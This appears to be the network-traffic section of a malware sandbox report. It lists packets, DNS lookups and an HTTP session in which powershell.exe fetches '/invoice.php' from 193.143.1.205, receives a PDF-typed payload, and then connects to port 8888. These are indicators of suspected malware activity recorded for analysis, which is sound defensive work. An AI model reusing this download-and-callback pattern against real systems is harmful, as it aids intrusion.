Jan 10, 2025 18:00:48.799441099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799453974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799463987 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799488068 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799505949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799532890 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799566984 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799663067 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799674034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799686909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799698114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799706936 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799710035 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799721003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799732924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.799748898 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.799776077 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800205946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800246954 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800343037 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800375938 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800389051 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800399065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800410986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800424099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800424099 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800424099 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800436020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800446987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800457001 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800472975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800482988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800496101 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800496101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800508022 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800518990 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800518990 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800532103 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800544024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.800544977 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.800570965 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.819820881 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.833901882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.833914995 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.833925962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.833940029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.833952904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834012032 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.834065914 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.834567070 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834608078 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834619999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834647894 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.834672928 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834686041 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834697962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834709883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834709883 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.834723949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.834736109 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.834764004 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848642111 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848659992 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848671913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848684072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848696947 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848709106 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848716974 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848728895 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848741055 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848748922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848753929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848773003 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848783016 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848787069 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848798990 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848817110 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848824024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848836899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848849058 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848865986 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848871946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848875046 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848890066 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848903894 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848916054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848923922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848944902 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848948956 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.848963976 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848975897 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848989010 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.848994017 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.849014997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.849020958 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.849034071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.849061966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885149002 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885164022 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885175943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885207891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885220051 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885230064 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885236979 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885242939 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885256052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885272980 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885305882 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885586023 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885597944 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885610104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885629892 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885670900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885689020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885701895 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885709047 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885721922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885734081 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885745049 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885768890 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885827065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885838985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885849953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885860920 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885873079 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885873079 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885885000 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885896921 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885900021 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885919094 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885924101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885950089 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885956049 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.885962963 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.885994911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886007071 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886023998 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886054039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886065960 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886181116 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886198997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886210918 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886214018 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886223078 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886234999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886240005 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886245966 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886257887 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886266947 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886272907 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886297941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886300087 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886312008 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886324883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886348963 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886358976 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886369944 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886380911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886385918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886394024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886410952 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886432886 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886521101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886533022 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886544943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886558056 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886626005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886636019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886646986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886658907 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886662006 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886670113 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886681080 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886683941 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886693954 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886699915 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886725903 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886727095 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886738062 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886749983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886760950 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886760950 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886774063 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886800051 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.886804104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.886835098 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887025118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887037039 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887048006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887058973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887078047 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887084961 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887100935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887110949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887121916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887132883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887145996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887151957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887157917 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887171984 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887172937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887185097 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.887197971 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.887222052 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888015985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888027906 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888041019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888051987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888062954 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888067961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888079882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888086081 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888093948 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888104916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888107061 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888123035 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888147116 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888149977 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888163090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888175964 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888183117 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888190031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888201952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.888210058 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.888230085 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.922055006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922175884 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922188997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922203064 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922214031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922228098 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922240973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.922240973 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.922261000 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.922295094 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936717987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936748981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936760902 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936767101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936769009 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936774015 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936779976 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936786890 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936793089 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936800003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936811924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936824083 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936836958 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936839104 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936850071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936873913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936882019 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936886072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936899900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936908007 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936913013 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936924934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936939001 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936950922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.936953068 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.936974049 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.972578049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972609997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972621918 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972639084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972651005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972667933 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972678900 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.972682953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972697020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.972707033 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.972740889 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.973135948 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973150969 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973164082 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973176003 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.973177910 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973192930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973201990 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.973207951 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.973237038 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.014405966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.111088037 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.123379946 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.410099030 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.864005089 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.868808985 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:49.868932009 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.869251966 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:49.874006033 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:50.684191942 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:50.733112097 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:51.946261883 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 18:01:16.584043026 CET	53080	53	192.168.2.12	162.159.36.2
Jan 10, 2025 18:01:16.588856936 CET	53	53080	162.159.36.2	192.168.2.12
Jan 10, 2025 18:01:16.588938951 CET	53080	53	192.168.2.12	162.159.36.2
Jan 10, 2025 18:01:16.593848944 CET	53	53080	162.159.36.2	192.168.2.12
Jan 10, 2025 18:01:17.066004038 CET	53080	53	192.168.2.12	162.159.36.2
Jan 10, 2025 18:01:17.070992947 CET	53	53080	162.159.36.2	192.168.2.12
Jan 10, 2025 18:01:17.071094036 CET	53080	53	192.168.2.12	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:00:58.280021906 CET	53834	53	192.168.2.12	1.1.1.1
Jan 10, 2025 18:01:16.583426952 CET	53	51760	162.159.36.2	192.168.2.12
Jan 10, 2025 18:01:17.075258017 CET	55351	53	192.168.2.12	1.1.1.1
Jan 10, 2025 18:01:17.082665920 CET	53	55351	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:00:58.280021906 CET	192.168.2.12	1.1.1.1	0xb81e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:01:17.075258017 CET	192.168.2.12	1.1.1.1	0x78b1	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:00:58.287189960 CET	1.1.1.1	192.168.2.12	0xb81e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:00:58.988827944 CET	1.1.1.1	192.168.2.12	0x697c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:00:58.988827944 CET	1.1.1.1	192.168.2.12	0x697c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:01:17.082665920 CET	1.1.1.1	192.168.2.12	0x78b1	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49710	193.143.1.205	80	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:00:47.441102982 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:00:48.215210915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:00:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 